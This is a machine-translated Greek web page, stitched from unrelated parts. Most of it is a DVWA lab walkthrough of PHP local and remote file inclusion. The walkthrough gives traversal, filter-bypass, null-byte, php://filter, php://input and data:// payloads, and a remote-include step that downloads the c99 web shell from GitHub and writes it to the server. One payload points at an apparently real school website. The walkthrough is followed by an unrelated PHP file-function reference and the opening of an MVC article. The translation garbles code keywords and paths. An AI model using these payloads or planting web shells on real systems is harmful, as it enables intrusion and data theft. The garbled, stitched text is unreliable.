Φανταστική προβολή αρχείου php. Αρχείο - Διαβάζει τα περιεχόμενα ενός αρχείου και το τοποθετεί σε έναν πίνακα. Εργασία με αρχεία στον διακομιστή

Μερικές φορές η ένεση αρχείου ονομάζεται συμπερίληψη, μερικές φορές θεωρείται ως μέρος της ένεσης PHP (ένεση κώδικα). Το τελευταίο δεν είναι απολύτως αληθές, καθώς τα τρωτά σημεία έγχυσης αρχείων δεν σχετίζονται απαραίτητα με την εκτέλεση κώδικα.

Η ευπάθεια μπορεί να προκύψει όταν χρησιμοποιούνται (στην PHP) εκφράσεις όπως:

  • απαιτείται_μια φορά,
  • περιλαμβάνει_μια φορά,
  • περιλαμβάνω,
  • απαιτώ

Κάθε ένα από αυτά έχει μικρές αποχρώσεις, αλλά το κοινό τους είναι ότι περιλαμβάνουν ένα αρχείο στο πρόγραμμα και το εκτελούν. Αυτές οι εκφράσεις μπορεί να προκαλέσουν προβλήματα εάν περάσουν την είσοδο του χρήστη και το πρόγραμμα δεν τις φιλτράρει αρκετά.

Παρεμπιπτόντως, ναι, αυτές είναι εκφράσεις, όχι συναρτήσεις. Δεν είναι απαραίτητο να γράψουμε έτσι:

Require("somefile.php");

Μια προτιμότερη επιλογή είναι:

Απαιτείται "somefile.php";

Αλλά αυτή είναι μια υποχώρηση που δεν έχει καμία σχέση με την ευπάθεια.

Εάν περιλαμβάνονται αρχεία χρησιμοποιώντας τις εκφράσεις require_once, include_once, include, require, τότε μπορούμε να πούμε ότι η ένεση κώδικα πραγματοποιείται επίσης την ίδια στιγμή. Ωστόσο, είναι δυνατό να συμπεριληφθούν αρχεία χωρίς να εκτελείται κώδικας στον διακομιστή. Για παράδειγμα, ένας ιστότοπος αλλάζει την εμφάνισή του με βάση το θέμα που έχει επιλέξει ο χρήστης. Το όνομα των θεμάτων αντιστοιχεί στο όνομα των αρχείων HTML που διαβάζονται στον διακομιστή. Σε αυτήν την περίπτωση, εάν το αίτημα έχει διαμορφωθεί με τέτοιο τρόπο ώστε να διαβάζει ένα αρχείο που δεν προορίζεται για αυτό (για παράδειγμα, ένα αρχείο PHP), τότε αντί να εκτελούνται εντολές, θα εμφανίζεται ο πηγαίος κώδικας PHP.

Ο χρήστης μπορεί να καθορίσει ένα απομακρυσμένο ή τοπικό αρχείο ως αρχείο συμπερίληψης. Με βάση αυτό, διακρίνονται δύο αντίστοιχες ποικιλίες:

  • τοπική έγχυση αρχείου
  • απομακρυσμένη έγχυση αρχείου

Ο κίνδυνος απομακρυσμένης συμπερίληψης είναι η εκτέλεση αυθαίρετου κώδικα σε έναν ευάλωτο διακομιστή. Αυτό χρησιμοποιείται συνήθως για μολύνσεις πίσω πόρτας.

Ο κίνδυνος της εισαγωγής τοπικού αρχείου είναι ότι ο χρήστης μπορεί να εμφανίσει τα περιεχόμενα των αρχείων που δεν έχει δικαιώματα προβολής (πηγαίοι κώδικες προγραμμάτων, αρχεία συστήματος με ρυθμίσεις και κωδικούς πρόσβασης). Επίσης, με τοπική συμπερίληψη, είναι δυνατή η εκτέλεση κώδικα τρίτου μέρους (για παράδειγμα, για μόλυνση από κερκόπορτα), εάν προηγουμένως είχε μεταφορτωθεί ένα αρχείο με κακόβουλο κώδικα στον διακομιστή ή χρησιμοποιήθηκε η μέθοδος δηλητηρίασης αρχείων καταγραφής ή ορισμένες άλλες μέθοδοι.

Η τοπική συμπερίληψη αρχείων δεν είναι λιγότερο επικίνδυνη από την εισαγωγή απομακρυσμένων αρχείων.

Εκμετάλλευση της ενσωμάτωσης τοπικών αρχείων

Μπορείτε να δοκιμάσετε αυτό το θέμα ευπάθειας στο Damn Vulnerable Web Application (DVWA). Χρησιμοποιώ Web Security Dojo, όπου είναι ήδη εγκατεστημένο το DVWA.

Ας ξεκινήσουμε από ένα χαμηλό επίπεδο (χαμηλή ασφάλεια DVWA).

Ας πάμε στη σελίδα Συμπερίληψη αρχείων http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Εάν μια τιμή παρόμοια με ένα όνομα αρχείου (file1.php, file2.php) μεταβιβαστεί ως όρισμα σε μια μεταβλητή, τότε μπορούμε να υποθέσουμε ότι χρησιμοποιείται ένα include. Δεδομένου ότι η επέκταση αρχείου είναι .php, το αρχείο εκτελείται πιθανότατα στον διακομιστή (δηλαδή είναι δυνατή η εισαγωγή κώδικα) και δεν εμφανίζεται απλώς για εμφάνιση.

Το DVWA έχει μια σελίδα http://localhost/dvwa/about.php, βρίσκεται δύο επίπεδα πάνω, ας προσπαθήσουμε να το δούμε ως εξής: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ about.php

Ναι, υπάρχει μια ευπάθεια τοπικής ένταξης. Κατά την εισαγωγή, οι μεταβάσεις στους επάνω καταλόγους (../) δεν φιλτράρονται· η λίστα των αρχείων προς συμπερίληψη δεν είναι εξαντλητική (αντί για το προτεινόμενο αρχείο*.php, επιλέξαμε about.php).

Μερικές φορές χρησιμοποιούνται αρχεία που περιλαμβάνονται, αλλά οι διευθύνσεις μπορεί να φαίνονται, για παράδειγμα, ως εξής: http://localhost/dvwa/vulnerabilities/fi/?page=file1. Σε αυτήν την περίπτωση, μπορεί να προστεθεί μια επέκταση στο σενάριο και το σενάριο ενσωματώνει ένα αρχείο του οποίου το όνομα τελικά σχηματίζεται στο σενάριο. Συνήθως, μια ευπάθεια σε αυτή τη μορφή είναι δύσκολο/αδύνατον να εκμεταλλευτεί.

Συχνά, οι άνθρωποι θέλουν να δώσουν κάτι σαν αυτό ως παράδειγμα εκμετάλλευσης της συμπερίληψης τοπικών αρχείων:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Όπως μπορούμε να δούμε, λειτούργησε. Αλλά επειδή τα προγράμματα περιήγησης αγνοούν το /r/n (χαρακτήρες νέας γραμμής), πρέπει να ανοίξουμε τον κώδικα κώδικα για να κάνουμε τις εγγραφές αναγνώσιμες:

Δυστυχώς, δεν υπάρχουν κωδικοί πρόσβασης στο αρχείο /etc/passwd για μεγάλο χρονικό διάστημα.

Από τον διακομιστή μπορείτε να τραβήξετε διάφορα αρχεία ρυθμίσεων, πιστοποιητικά SSL, κατ 'αρχήν, οποιοδήποτε αρχείο είναι ανοιχτό για ανάγνωση από όλους τους χρήστες ή για το οποίο ο διακομιστής ιστού έχει επαρκή δικαιώματα ανάγνωσης:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Όσον αφορά τις κοινόχρηστες φιλοξενίες, μερικές φορές είναι δυνατό να ψάξετε σε φακέλους άλλων ατόμων (και πάλι, εάν τα δικαιώματα χρήστη έχουν ρυθμιστεί εσφαλμένα).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Η εργασία περιπλέκεται από το γεγονός ότι πρέπει να γνωρίζουμε τη διαδρομή προς το αρχείο.

Λειτουργία απομακρυσμένης έγχυσης αρχείων

Η PHP είναι μια πολύ ευέλικτη και φιλική προς τους προγραμματιστές γλώσσα προγραμματισμού. Οι εντολές ενσωμάτωσης αρχείων και κάποιες άλλες αναγνωρίζουν τέλεια και επεξεργάζονται σωστά όχι μόνο τοπικά αρχεία, αλλά και διευθύνσεις URL...

Ας προσπαθήσουμε να γράψουμε τη διεύθυνση URL του ιστότοπου https://site/ αντί για το όνομα του αρχείου:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

Δείτε πόσο ενδιαφέρον βγαίνει:

Συνέβη το εξής: ο διερμηνέας PHP έλαβε μια εντολή να συμπεριλάβει το αρχείο/ιστοτόπο https://site/. Άνοιξε/κατέβασε την αντίστοιχη διεύθυνση και έστειλε τον κώδικα που προέκυψε για να εκτελεστεί ως πρόγραμμα PHP. Δεδομένου ότι η PHP εκτελεί μόνο τον κώδικα που περιβάλλεται από τις κατάλληλες ετικέτες (στην περίπτωση αυτή δεν υπήρχε καθόλου κώδικας) και εξάγει όλα τα άλλα ως έχουν, ολόκληρη η σελίδα του ιστότοπου εξάγεται ως έχει.

Φυσικά, αυτή η ευπάθεια είναι ενδιαφέρουσα για εμάς όχι επειδή μπορούμε να προβάλουμε άλλους ιστότοπους μέσω ενός ιστότοπου.

  • Δημιουργία/εύρεση του πηγαίου κώδικα της κερκόπορτας
  • Δημιουργούμε ένα αρχείο που είναι σωστό από την άποψη της PHP για εκτέλεση στον διακομιστή, το οποίο αποθηκεύει τον πηγαίο κώδικα της κερκόπορτας σε ένα αρχείο PHP
  • Αποθηκεύστε τον κωδικό που λάβατε σε ένα αρχείο TEXT
  • Μεταφορτώστε αυτό το αρχείο κειμένου σε έναν ελεγχόμενο διακομιστή
  • Αποθηκεύουμε την κερκόπορτα μας σε έναν ευάλωτο διακομιστή χρησιμοποιώντας μια συμπερίληψη απομακρυσμένου αρχείου
  • Τόνισα τη λέξη "κείμενο" για το λόγο ότι στον διακομιστή που έχουμε υπό τον έλεγχό μας θα πρέπει να υπάρχει ένα αρχείο κειμένου που δεν πρέπει να εκτελείται στον διακομιστή μας. Ο διακομιστής μας χρειάζεται μόνο να εμφανίσει το περιεχόμενό του.

    Για να δημιουργήσετε μια κερκόπορτα, μπορείτε να χρησιμοποιήσετε το Weevely, το PhpSploit ή μπορείτε να πάρετε έτοιμες λύσεις. Ας χρησιμοποιήσουμε ένα έτοιμο αυτή τη φορά.

    Θα αντιστοιχίσω στη μεταβλητή $backdoor τον πηγαίο κώδικα του backdoor, τον οποίο κατεβάζω από το Github. Στη συνέχεια χρησιμοποιώ τη συνάρτηση file_put_contents για να αποθηκεύσω τον πηγαίο κώδικα που προκύπτει στο αρχείο c99unlimited.php.

    Ο κώδικας που έχω τοποθετήσει σε ένα αρχείο κειμένου

    $backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); ηχώ "έγινε!".

    Είναι διαθέσιμο στη διεύθυνση http://miloserdov.org/sec.txt

    Τώρα, χρησιμοποιώντας μια απομακρυσμένη συμπερίληψη, ανεβάζουμε μια κερκόπορτα σε έναν ευάλωτο διακομιστή.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Προσοχή στην επιγραφή έγινε!, εμφανίζεται από το σενάριο, δηλ. όλα μάλλον λειτούργησαν.

    Δεδομένου ότι το σενάριο που περιλαμβάνει τα αρχεία βρίσκεται στον κατάλογο http://localhost/dvwa/vulnerabilities/fi/ και το νέο μας αρχείο με την κερκόπορτα θα έπρεπε να είχε αποθηκευτεί με το όνομα c99unlimited.php, η πλήρης διεύθυνση της κερκόπορτας στο ο ευάλωτος διακομιστής θα πρέπει να είναι: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Ελέγχουμε:

    Τέλεια, τώρα έχουμε όλες τις δυνατότητες που θα μπορούσε να χρειαστεί ένας διαχειριστής διακομιστή ιστού... και όσοι έχουν πρόσβαση στον διακομιστή τους.

    Παράκαμψη φιλτραρίσματος κατά τη συμπερίληψη αρχείων τοπικά

    Ας περάσουμε στο μεσαίο επίπεδο ασφάλειας (με δυνατότητα διαμόρφωσης στο DVWA Security).

    Αν κοιτάξουμε τον πηγαίο κώδικα (κουμπί Προβολή πηγής):

    τότε θα δούμε ότι οι χαρακτήρες ../ έχουν πλέον φιλτραριστεί. Αυτό θα μας εμποδίσει να μετακινηθούμε σε έναν κατάλογο υψηλότερο από αυτόν στον οποίο εκτελείται το ευάλωτο σενάριο.

    Εκείνοι. τίποτα δεν θα λειτουργήσει έτσι:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Ας σκεφτούμε πώς λειτουργεί το φιλτράρισμα σε αυτήν την περίπτωση; Ας πούμε ότι η λέξη "κακό" φιλτράρεται και μετά μια γραμμή όπως

    καλό κακό καλό

    μετά το φιλτράρισμα θα μοιάζει με αυτό:

    καλα καλα

    Και αν εισαγάγετε μια γραμμή όπως αυτή

    κακός κακός xo

    τότε μετά το φιλτράρισμα (το "κακό" θα αφαιρεθεί) θα αποδειχθεί

    Κακώς

    Στο ../ εισάγουμε ../ στη μέση πάλι, βγαίνει ..././

    Ας δοκιμάσουμε αυτήν τη διεύθυνση http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

    Δούλεψε!

    Μια άλλη λύση θα μπορούσε να είναι η κωδικοποίηση χαρακτήρων σε δεκαεξαδική κωδικοποίηση, ένα παράδειγμα αυτής της γραμμής:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    Το "../" μπορεί να αντικατασταθεί με το "%2E%2E%2f".

    Εφαρμόζεται επίσης η διπλή εξαγωνική κωδικοποίηση, στην οποία το "../" αντικαθίσταται από το "%252E%252E%252F"

    Τοπική συμπερίληψη αρχείων κατά την προσθήκη επέκτασης σε σενάριο

    Εάν ο κώδικας που περιλαμβάνει τα αρχεία μοιάζει με:

    Εκείνοι. Εάν προστεθεί ένα .php ή κάποια άλλη επέκταση σε οποιαδήποτε είσοδο χρήστη, αυτό δεν επιτρέπει τη διαμόρφωση του αιτήματος με τέτοιο τρόπο ώστε να πραγματοποιηθεί μια επίθεση.

    Υπάρχουν αρκετές τεχνικές που έχουν σχεδιαστεί για την απόρριψη της επέκτασης, αλλά μπορούν να θεωρηθούν ξεπερασμένες, καθώς λειτουργούν στην PHP 5.3, και ακόμη και τότε όχι σε όλες τις εκδόσεις. Ωστόσο, οι διαχειριστές διακομιστών ιστού είναι κλινικά συντηρητικοί και προτιμούν να μην αγγίζουν τίποτα εάν λειτουργεί. Εκείνοι. Υπάρχει πιθανότητα να συναντήσετε έναν διακομιστή με μια πολύ αρχαία έκδοση της PHP και θα πρέπει να γνωρίζετε αυτές τις τεχνικές.

    Χρήση του μηδενικού byte %00 (null byte)

    Ένα null byte προστίθεται στο τέλος του αιτήματος για να αγνοηθεί η επέκταση:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    Η δεύτερη μέθοδος ονομάζεται επίθεση περικοπής διαδρομής. Η ουσία είναι ότι η PHP περικόπτει διαδρομές μεγαλύτερες από 4096 byte. Σε αυτήν την περίπτωση, η PHP ανοίγει σωστά το αρχείο, ακόμα κι αν υπάρχουν κάθετες και τελείες στο τέλος του ονόματός του. Αν περάσετε ως παράμετρο κάτι σαν?param1=../../../../etc/passwd/./././././ (όπου το ./ επαναλαμβάνεται πολλές χιλιάδες φορές), τότε το τελικό αρχείο μαζί με την επέκταση (την οποία πρόσθεσε το σενάριο, με αποτέλεσμα το όνομα αρχείου να περιλαμβάνει/../../../../etc/passwd/./././././ .php) θα απορριφθεί. Και το όνομα αρχείου θα περιλαμβάνει/../../../../etc/passwd/./././././. Και επειδή η PHP δεν συγχέεται με τις τελικές κάθετες και ./ στο τέλος του αρχείου, απλώς τις αγνοεί, συνολικά η PHP θα ανοίξει το αρχείο κατά μήκος της διαδρομής περιλαμβάνει/../../../../etc/ passwd.

    Παράκαμψη φιλτραρίσματος για απομακρυσμένη ένεση αρχείων

    Όπως είδαμε ήδη στον πηγαίο κώδικα, το μεσαίο επίπεδο ασφάλειας φιλτράρει επίσης τα http:// και https://.

    Τώρα http://localhost/dvwa/vulnerabilities/fi/?. Θα χρησιμοποιήσουμε ακριβώς την ίδια τεχνική για να παρακάμψουμε το φιλτράρισμα με τοπική συμπερίληψη. Δημιουργήθηκε αίτημα:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    Και επίσης σημειώστε ότι δεν φιλτράρεται, για παράδειγμα ftp, π.χ. Αυτή η επιλογή θα λειτουργούσε χωρίς καθόλου κόλπα:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    Λήψη του πηγαίου κώδικα των σεναρίων PHP κατά τη συμπερίληψη αρχείων από το php://filter

    Αυτό το τέχνασμα δεν απαιτεί απομακρυσμένη συμπερίληψη αρχείων. Θα χρησιμοποιηθεί ένα είδος meta wrapper php://filter.

    Ας υποθέσουμε ότι θέλουμε να δούμε τον πηγαίο κώδικα του αρχείου file1.php, τότε για την περίπτωσή μας το αίτημα θα συντεθεί ως εξής:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Δώστε προσοχή στην ανούσια σειρά γραμμάτων και αριθμών - αυτός είναι ο πηγαίος κώδικας του αρχείου file1.php στην κωδικοποίηση base64. Δεδομένου ότι είναι το base64, υποστηρίζονται επίσης δυαδικά αρχεία.

    Ας αποκωδικοποιήσουμε το αρχείο:

    Απομακρυσμένη εκτέλεση κώδικα με php://input

    Αυτό δεν μοιάζει με την ενσωμάτωση αρχείων και πάλι δεν απαιτεί από εσάς να ανεβάσετε αρχεία.

    Για να βοηθήσω, θα χρησιμοποιήσω την επέκταση FireFox, μπορείτε επίσης να τη χρησιμοποιήσετε ή οποιοδήποτε άλλο πρόγραμμα (για παράδειγμα, curl) που μπορεί να μεταφέρει δεδομένα χρησιμοποιώντας τη μέθοδο POST.

    Το php://input έχει πρόσβαση στο μη επεξεργασμένο σώμα του αιτήματος HTTP, για να κατανοήσετε τι κάνει το include("php://input"), ανοίξτε τη σελίδα

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    Και στο σώμα του αιτήματος, στείλτε τον σωστό κώδικα PHP (για παράδειγμα, χρησιμοποιώντας τη μέθοδο POST). Αυτό θα σας επιτρέψει να εκτελέσετε οποιαδήποτε λειτουργία επιτρέπεται στον απομακρυσμένο διακομιστή!

    Απομακρυσμένη εκτέλεση κώδικα με δεδομένα://

    Επιπλέον, η PHP υποστηρίζει το σχήμα URL data://. Μπορείτε να τοποθετήσετε τον κώδικα απευθείας στην παράμετρο GET! Η ακόλουθη δοκιμή δεν απαιτεί ειδικά εργαλεία, απλώς ένα κανονικό πρόγραμμα περιήγησης για την εκτέλεση της επίθεσης.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Ορισμένα τείχη προστασίας εφαρμογών ιστού ενδέχεται να παρατηρήσουν μια ύποπτη συμβολοσειρά σε μια διεύθυνση URL και να αποκλείσουν το κακόβουλο αίτημα. Αλλά υπάρχει ένας τρόπος να κρυπτογραφήσετε τη συμβολοσειρά με κωδικοποίηση τουλάχιστον base64:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Εκτελέστε αυθαίρετες εντολές από το /proc/self/environ

    Το /proc/self/environ είναι η αποθήκευση της μεταβλητής διαδικασίας. Εάν η διαδικασία Apache έχει επαρκή δικαιώματα πρόσβασης σε αυτήν, τότε όταν ανοίγετε μια ιστοσελίδα που περιέχει μια προσθήκη με παρόμοια διεύθυνση URL,

    www.website.com/view.php?page=../../../../../proc/self/environ

    θα βγάζει κάτι σαν

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Έκδοση/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET_phRI? %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [email προστατευμένο] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Δώστε προσοχή στο HTTP_USER_AGENT. Αντίθετα, μπορείτε να αντικαταστήσετε τον σωστό κώδικα PHP, ο οποίος θα εκτελεστεί σε έναν απομακρυσμένο διακομιστή.

    Χαλκογραφία και έγχυση αρχείων καταγραφής όταν περιλαμβάνονται αρχεία τοπικά

    Δυστυχώς, αυτή η μέθοδος δεν λειτουργεί πλέον σε πρόσφατες εκδόσεις του Apache.

    Η ουσία του έγκειται στο γεγονός ότι ο κώδικας του εισβολέα εισάγεται στα αρχεία καταγραφής του διακομιστή web. Αυτό μπορεί να γίνει αντικαθιστώντας το User-Agent , ή ακόμα και απλώς μεταβιβάζοντάς το σε μια παράμετρο GET.

    Στατική έγχυση απομακρυσμένου αρχείου

    Ένα παράδειγμα στατικού περιλαμβάνει:

    Μπορείτε να χρησιμοποιήσετε μια στατική συμπερίληψη σε πολύ εξωτικές καταστάσεις. Για να εισαγάγετε κακόβουλο κώδικα, είναι απαραίτητο να πραγματοποιήσετε μια επίθεση man-in-the-middle μεταξύ δύο διακομιστών: ο ένας φιλοξενεί την εφαρμογή Ιστού χρησιμοποιώντας τη συμπερίληψη και ο δεύτερος φιλοξενεί το αρχείο που χρησιμοποιήθηκε για τη συμπερίληψη.

    PHP file_exists("test.txt")//Υπάρχει το αρχείο; filesize("test.txt");//Μάθετε το μέγεθος του αρχείου //Η χρονική σήμανση επιστρέφεται: fileatime("test.txt");//Ημερομηνία τελευταίας πρόσβασης στο αρχείο //date("d M Y" , $atime); filemtime("test.txt");//Ημερομηνία τροποποίησης αρχείου //date("d M Y", $mtime); filectime("test.txt");//Ημερομηνία δημιουργίας αρχείου (Windows) //date("d M Y", $ctime); Αρχεία: τρόποι λειτουργίας πόρων PHP fopen (όνομα αρχείου συμβολοσειράς, λειτουργία συμβολοσειράς) // πόρος - επιστρέφει έναν δείκτη στο αρχείο σε περίπτωση επιτυχίας ή FALSE σε περίπτωση σφάλματος Τρόπος λειτουργίας Περιγραφήr r+ w w+ ΕΝΑ α+ σι
    άνοιγμα αρχείου μόνο για ανάγνωση.
    ανοίξτε το αρχείο για ανάγνωση και γραφή.
    ανοίξτε το αρχείο μόνο για εγγραφή. Εάν υπάρχει, τότε τα τρέχοντα περιεχόμενα του αρχείου καταστρέφονται. Η τρέχουσα θέση έχει οριστεί στην αρχή.
    ανοίξτε το αρχείο για ανάγνωση και γραφή. Εάν υπάρχει, τότε τα τρέχοντα περιεχόμενα του αρχείου καταστρέφονται. Η τρέχουσα θέση έχει οριστεί στην αρχή.
    ανοίξτε το αρχείο για εγγραφή. Η τρέχουσα θέση ορίζεται στο τέλος του αρχείου.
    ανοίξτε το αρχείο για ανάγνωση και γραφή. Η τρέχουσα θέση ορίζεται στο τέλος του αρχείου.
    επεξεργαστείτε το δυαδικό αρχείο. Αυτή η σημαία απαιτείται όταν εργάζεστε με δυαδικά αρχεία στα Windows.
    Άνοιγμα και κλείσιμο αρχείων σε PHP PHP $fi = fopen("test.html", "w+") ή die("Σφάλμα"); //Παραδείγματα $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Κλείσιμο fclose($fi) Ανάγνωση αρχείων σε PHP PHP //Ανάγνωση του αρχείου fread(int fi, μήκος int) $str = fread($fi, 5); // Διαβάστε τους πρώτους 5 χαρακτήρες echo $str; // αφού ο κέρσορας έχει μετακινηθεί $str = fread($fi, 12); // Διαβάστε τους επόμενους 12 χαρακτήρες echo $str; fgets(int fi[, int μήκος]) // Ανάγνωση γραμμής από αρχείο fgetss(int fi, int μήκος [, επιτρεπόμενη συμβολοσειρά]) // Διαβάστε μια γραμμή από ένα αρχείο και απορρίψτε ετικέτες HTML // επιτρεπόμενη συμβολοσειρά - ετικέτες που πρέπει να αφεθεί fgetc(int fi) //Διαβάζει έναν χαρακτήρα από ένα αρχείο

    Αρχικά, το Write θα συμβεί στην αρχή του αρχείου, αντικαθιστώντας τα υπάρχοντα δεδομένα, εάν υπάρχουν. Επομένως, εάν πρέπει να γράψετε κάτι στο τέλος του αρχείου, πρέπει να ορίσετε την κατάλληλη λειτουργία ανάγνωσης, για παράδειγμα, a+ .

    Χειρισμός του δρομέα σε αρχεία PHP PHP int fseek(int fi, int offset [, int wherece]) //Ρύθμιση του δρομέα // int fi - δείκτης στο αρχείο //offset - ο αριθμός των χαρακτήρων προς μετακίνηση. //whence: //SEEK_SET - η κίνηση ξεκινά από την αρχή του αρχείου. //SEEK_CUR - η κίνηση ξεκινά από την τρέχουσα θέση. //SEEK_END - η κίνηση ξεκινά από το τέλος του αρχείου. fseek($fi, -10, SEEK_END); //Διαβάστε τους τελευταίους 10 χαρακτήρες $s = fread($fi, 10); $pos = ftell($fi); // Μάθετε την τρέχουσα θέση rewind($f) // επαναφορά του δρομέα bool feof($f) // τέλος του αρχείου Άμεση εργασία με αρχεία (δεδομένα) σε PHP Αρχείο πίνακα PHP (όνομα αρχείου συμβολοσειράς) // Λήψη των περιεχομένων του αρχείου με τη μορφή πίνακα // Μια άλλη επιλογή για απευθείας εργασία με δεδομένα file_get_contents(όνομα αρχείου συμβολοσειράς) //Ανάγνωση (λαμβάνουμε ολόκληρο το αρχείο σε μια γραμμή) //Εγγραφή στο αρχείο (αρχικά αντικαταστάθηκε) file_put_contents(όνομα αρχείου συμβολοσειράς , μικτά δεδομένα[,int flag]); //FILE_APPEND // Γράψτε στο τέλος του αρχείου: file_put_contents("test.txt", "data", FILE_APPEND); //Εάν γράψετε έναν πίνακα, $array = array("I", "live"); file_put_contents("test.txt",$array); //τότε λαμβάνουμε "Ilive" Διαχείριση αρχείων σε αντίγραφο php PHP(πηγή συμβολοσειράς, προορισμός συμβολοσειράς); // Αντιγραφή του αρχείου μετονομασία (str oldname, str newname); // Μετονομάστε το αρχείο unlink(string filename); // Διαγραφή αρχείου Μεταφόρτωση αρχείων στον διακομιστή PHP // Ρυθμίσεις PHP.ini file_uploads (on|off) // επιτρέποντας ή απενεργοποιώντας τις μεταφορτώσεις αρχείων upload_tmp_dir // προσωρινό φάκελο για τα μεταφορτωμένα αρχεία. από προεπιλογή προσωρινός φάκελος upload_max_filesize (προεπιλογή = 2 Mb) // μέγ. μέγεθος του μεταφορτωμένου αρχείου post_max_size // συνολικό μέγεθος της φόρμας που στάλθηκε (πρέπει να είναι μεγαλύτερο από το upload_max_filesize) //Απλή μεταφόρτωση HTML Εργαζόμαστε με αρχεία στον διακομιστή PHP //Λήψη δεδομένων $tmp = $_FILES["αρχείο χρήστη"][" tmp_name"]; $name = $_FILES ["αρχείο χρήστη"]["όνομα"]; //Μετακίνηση του αρχείου move_uploaded_file($tmp, name); move_uploaded_file($tmp, "upload/".name); // ανακατευθύνει το αρχείο στον φάκελο μεταφόρτωσης // σε σχέση με το τρέχον αρχείο // Τι υπάρχει στον πίνακα $_FILES $_FILES["userfile"]["name"] // όνομα αρχείου, για παράδειγμα, test.html $_FILES[ "userfile"][" tmp_name"] // προσωρινό όνομα αρχείου (διαδρομή) $_FILES["userfile"]["size"] // μέγεθος αρχείου $_FILES["userfile"]["type"] // τύπος αρχείου $ _FILES["userfile"] ["σφάλμα"] // 0 - χωρίς σφάλματα, αριθμός - ναι Πολλοί άνθρωποι αρχίζουν να γράφουν ένα έργο για να δουλέψουν με μία εργασία, χωρίς να σημαίνει ότι μπορεί να εξελιχθεί σε ένα σύστημα διαχείρισης πολλών χρηστών, για παράδειγμα , περιεχόμενο ή, Θεός φυλάξοι, παραγωγή. Και όλα φαίνονται υπέροχα και ωραία, όλα λειτουργούν, μέχρι να αρχίσετε να καταλαβαίνετε ότι ο κώδικας που γράφεται αποτελείται εξ ολοκλήρου από δεκανίκια και σκληρό κώδικα. Ο κώδικας αναμειγνύεται με διάταξη, ερωτήματα και δεκανίκια, μερικές φορές ακόμη και μη αναγνώσιμο. Προκύπτει ένα πιεστικό πρόβλημα: όταν προσθέτετε νέες δυνατότητες, πρέπει να εργάζεστε με αυτόν τον κώδικα για πολύ καιρό, να θυμάστε "τι γράφτηκε εκεί;" και καταριέσαι τον εαυτό σου στο παρελθόν.

    Μπορεί να έχετε ακούσει ακόμη και για μοτίβα σχεδίασης και ακόμη και να έχετε ξεφυλλίσει αυτά τα υπέροχα βιβλία:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides «Αντικειμενοστρεφείς τεχνικές σχεδίασης. Σχεδιαστικά πρότυπα";
    • M. Fowler "Αρχιτεκτονική των Εφαρμογών Λογισμικού Επιχειρήσεων."
    Και πολλοί, απτόητοι από τα τεράστια εγχειρίδια και τεκμηρίωση, προσπάθησαν να μελετήσουν οποιοδήποτε από τα σύγχρονα πλαίσια και, αντιμέτωποι με την πολυπλοκότητα της κατανόησης (λόγω της παρουσίας πολλών αρχιτεκτονικών εννοιών έξυπνα διασυνδεδεμένων), ανέβασαν τη μελέτη και τη χρήση σύγχρονων εργαλείων σε ένα καταφύγιο."

    Αυτό το άρθρο θα είναι χρήσιμο κυρίως για αρχάριους. Σε κάθε περίπτωση, ελπίζω ότι σε λίγες ώρες θα είστε σε θέση να πάρετε μια ιδέα για την εφαρμογή του μοτίβου MVC, το οποίο βασίζεται σε όλα τα σύγχρονα πλαίσια web, και επίσης να πάρετε «τροφή» για περαιτέρω προβληματισμό σχετικά με το «πώς να Κάνε το." Στο τέλος του άρθρου υπάρχει μια επιλογή από χρήσιμους συνδέσμους που θα σας βοηθήσουν επίσης να κατανοήσετε από τι αποτελούνται τα πλαίσια web (εκτός από το MVC) και πώς λειτουργούν.

